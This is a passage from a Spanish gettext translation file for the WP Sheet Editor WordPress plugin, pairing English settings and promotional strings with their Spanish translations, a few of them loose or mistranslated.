línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
